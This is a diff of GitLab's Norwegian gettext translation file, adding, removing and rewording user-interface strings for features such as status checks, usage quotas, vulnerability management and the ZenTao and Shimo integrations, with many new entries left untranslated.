+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr "Vis all aktivitet"
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr "Vis alle saker."
@@ -31644,18 +32221,9 @@ msgstr "Vis nyeste versjon"
msgid "Show list"
msgstr "Vis liste"
-msgid "Show me how to add a pipeline"
-msgstr "Vis meg hvordan man legger til en rørledning"
-
msgid "Show one file at a time"
msgstr "Vis én fil om gangen"
-msgid "Show parent pages"
-msgstr "Vis overordnede sider"
-
-msgid "Show parent subgroups"
-msgstr "Vis overordnede undergrupper"
-
msgid "Show the Closed list"
msgstr "Vis «Lukket»-listen"
@@ -32020,6 +32588,12 @@ msgstr "Noe gikk galt i vår ende. Vennligst prøv igjen."
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "Noe gikk galt under endring av låsestatus på denne %{issuableDisplayName}"
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr "Noe gikk galt ved henting av miljøer for denne fletteforespørselen. Vennligst prøv igjen."
-msgid "Something went wrong while fetching the package."
-msgstr "Noe gikk galt under innhenting av pakken."
-
msgid "Something went wrong while fetching the packages list."
msgstr "Noe gikk galt under innhenting av pakkelisten."
@@ -32383,9 +32954,6 @@ msgstr "Kilde (branch eller tag)"
msgid "Source Branch"
msgstr "Kildegren"
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr "Kilde-IP"
@@ -32404,6 +32972,33 @@ msgstr "Kilden er ikke tilgjengelig"
msgid "Source project cannot be found."
msgstr "Kildeprosjektet kunne ikke bli funnet."
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr "Sourcegraph"
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr "Start en anmeldelse"
-msgid "Start and due date"
-msgstr "Start- og forfallsdato"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr "Status:"
msgid "Status: %{title}"
msgstr "Status: %{title}"
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr "%{pending} står i kø"
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr "Mislyktes i å laste inn statussjekker."
@@ -32755,6 +33353,12 @@ msgstr "Tjenestenavn"
msgid "StatusCheck|Status checks"
msgstr "Status-sjekkinger"
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr "Statusen som skal sjekkes"
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr "AWS %{docsLink}"
@@ -33755,10 +34362,10 @@ msgstr "Tilstander"
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr "URL-en til Jenkins-tjeneren."
msgid "The URL should start with http:// or https://"
msgstr "URL-en burde starte med http:// eller https://"
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr "Den maks tillatte filstørrelsen er %{size}."
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr "Utdraget er bare synlig for prosjektmedlemmer."
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr "Kildegrenen vil bli slettet"
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr "Det er ingen hendelser for øyeblikket."
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr "Det er ingen variabler enda."
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr "Denne enheten har allerede blitt registrert hos oss."
@@ -35008,6 +35606,12 @@ msgstr "Dette feltet er påkrevd"
msgid "This field is required."
msgstr "Dette feltet er påkrevd."
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
-msgstr "Dette er en sikkerhetslogg over viktige hendelser som involverer kontoen din."
+msgid "This is a security log of authentication events involving your account."
+msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr "Dette er din nåværende økt"
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Denne fletteforespørselen er låst."
-msgid "This merge request is still a draft."
-msgstr "Denne fletteforespørselen er fortsatt et utkast."
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr "Dette prosjektet har ikke en wiki-hjemmeside ennå"
msgid "This project has no active access tokens."
msgstr "Dette prosjektet har ingen aktive tilgangssjetonger."
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,8 +35966,8 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
-msgstr "Trusselovervåking"
+msgid "Threat monitoring"
+msgstr ""
msgid "ThreatMonitoring|Alert Details"
msgstr "Alarmdetaljer"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr "I morgen"
msgid "Too many changes to show."
msgstr "For mange endringer å vise."
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr "Emner (valgfritt)"
-
msgid "Total"
msgstr "Totalt"
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr "Overfør"
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr "Prøv å endre eller fjerne filtre."
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr "Prøv å utgreine på nytt"
@@ -36541,9 +37163,6 @@ msgstr "Klarte ikke å laste inn forskjellen. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr "Klarte ikke å lagre iterasjonen. Vennligst prøv igjen"
@@ -36649,6 +37268,9 @@ msgstr "Ukjent format"
msgid "Unknown response text"
msgstr "Ukjent responstekst"
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr "Ukjent bruker"
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr "Frem til"
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr "Oppdateringer"
msgid "Updating"
msgstr "Oppdaterer"
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr "Oppdaterer …"
@@ -36886,6 +37508,9 @@ msgstr "Last opp bilde"
msgid "Upload license"
msgstr "Last opp lisens"
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr "Last opp objektkart"
@@ -36895,9 +37520,6 @@ msgstr "klikk for å laste opp"
msgid "Uploading changes to terminal"
msgstr "Laster opp endringer til terminalen"
-msgid "Uploads"
-msgstr "Opplastinger"
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr "Oppetid"
msgid "Upvotes"
msgstr "Plusstemmer"
-msgid "Usage"
-msgstr "Bruk"
-
msgid "Usage Trends"
msgstr "Brukstrender"
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr "LFS-objekter"
-
-msgid "UsageQuota|LFS Storage"
-msgstr "LFS-lagring"
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr "Lær mer om overflødig lagringsbenyttelse"
msgid "UsageQuota|Learn more about usage quotas"
msgstr "Lær mer om brukskvoter"
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "Pakker"
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr "Kjøp mer lagringsplass"
msgid "UsageQuota|Purchased storage available"
msgstr "Innkjøpt lagringsplass tilgjengelig"
-msgid "UsageQuota|Repositories"
-msgstr "Kodelagre"
-
msgid "UsageQuota|Repository"
msgstr "Kodelager"
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr "Total mengde overflødig lagring brukt"
@@ -37090,9 +37694,6 @@ msgstr "Wiki"
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr "Wikier"
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr "Benyttet programmeringsspråk"
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr "gjorde et privat bidrag"
msgid "Username"
msgstr "Brukernavn"
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr "Brukernavn (valgfritt)"
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr "Verifiseringsstatus"
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "Bekreftet"
@@ -37843,6 +38450,9 @@ msgstr "Versjon %{versionNumber} (nyeste)"
msgid "View Documentation"
msgstr "Vis dokumentasjon"
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr "Vis loggføringer"
msgid "View merge request"
msgstr "Vis fletteforespørsel"
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr "Vis på %{url}"
@@ -38050,6 +38663,9 @@ msgstr "SÃ¥rbarhetsrapport"
msgid "Vulnerability remediated. Review before resolving."
msgstr "Sårbarheten ble utbedret. Gå gjennom det før du oppklarer."
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr "SÃ¥rbarhet oppklart i %{branch}"
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr "Alvorlighetsgrad"
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr "Endre status"
@@ -38089,8 +38705,11 @@ msgstr "Kunne ikke behandle %{issueReference}: %{errorMessage}."
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
-msgstr "Oppdaget"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
+msgstr ""
msgid "VulnerabilityManagement|Needs triage"
msgstr ""
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr "Noe gikk galt under sletting av kommentaren. Prøv igjen senere."
@@ -38125,9 +38747,15 @@ msgstr "Noe gikk galt, kunne ikke hente bruker."
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr "Noe gikk galt, kunne ikke oppdatere sårbarhetsstatusen."
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr "Verifisert som fikset eller holdt i sjakk"
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,12 +38768,12 @@ msgstr "Alle statuser"
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr "Bekreftet"
-msgid "VulnerabilityStatusTypes|Detected"
-msgstr "Oppdaget"
-
msgid "VulnerabilityStatusTypes|Dismissed"
msgstr "Avfeid"
+msgid "VulnerabilityStatusTypes|Needs triage"
+msgstr ""
+
msgid "VulnerabilityStatusTypes|Resolved"
msgstr "Oppklart"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr "Opprett side"
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr "Format"
@@ -38817,8 +39454,8 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr "Fortsett å redigere"
-msgid "WikiPage|More Information."
-msgstr "Mer informasjon."
+msgid "WikiPage|Learn more."
+msgstr ""
msgid "WikiPage|Page title"
msgstr "Sidetittel"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,14 +39844,11 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr "Du kan bare redigere filer når du er på en gren"
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
-msgstr ""
+msgid "You can only edit files when you are on a branch"
+msgstr "Du kan bare redigere filer når du er på en gren"
msgid "You can only transfer the project to namespaces you manage."
msgstr ""
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr "Du kan ikke få tilgang til denne råfilen. Vennligst vent et minutt."
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr "Du har ikke noen abonnementer enda"
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "Du har ikke tillatelse til å forlate denne %{namespaceType}."
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "Du har blitt tildelt %{access_level}-tilgang til %{source_link} %{source_type}."
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr "Du vil kun motta varsler for kommentarer der du ble @nevnt"
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr "Du vil ikke kunne opprette nye prosjekter fordi du har nådd prosjektgrensen din."
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr "Kontoen din har blitt deaktivert av administratoren din. Logg deg på ig
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr "Kontoen din er låst."
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "Abonnementet ditt har utløpt!"
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr "tilgang:"
msgid "added"
msgstr "lagt til"
-msgid "added %{created_at_timeago}"
-msgstr "lagt til %{created_at_timeago}"
-
msgid "added %{emails}"
msgstr "la til %{emails}"
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr "kan ikke modifiseres"
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr "Kunne ikke laste inn %{reportName}-rapporten"
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr "Fikset"
@@ -40271,6 +40928,9 @@ msgstr "Rettet opp i:"
msgid "ciReport|Found %{issuesWithCount}"
msgstr "Fant %{issuesWithCount}"
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr "Undersøk dette sikkerhetsproblemet ved å opprette en sak"
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr "Laster inn %{reportName} rapport"
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr "Administrer lisenser"
@@ -40330,6 +40993,9 @@ msgstr "Sikkerhetsskanning"
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr "Løsning"
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr "i"
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr "i gruppen %{link_to_group}"
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr "i prosjektet %{link_to_project}"
@@ -40867,9 +41521,6 @@ msgstr "låst av %{path_lock_user_name} %{created_at}"
msgid "log in"
msgstr "logg inn"
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr "manual"
@@ -40899,15 +41550,15 @@ msgstr "mere informasjon"
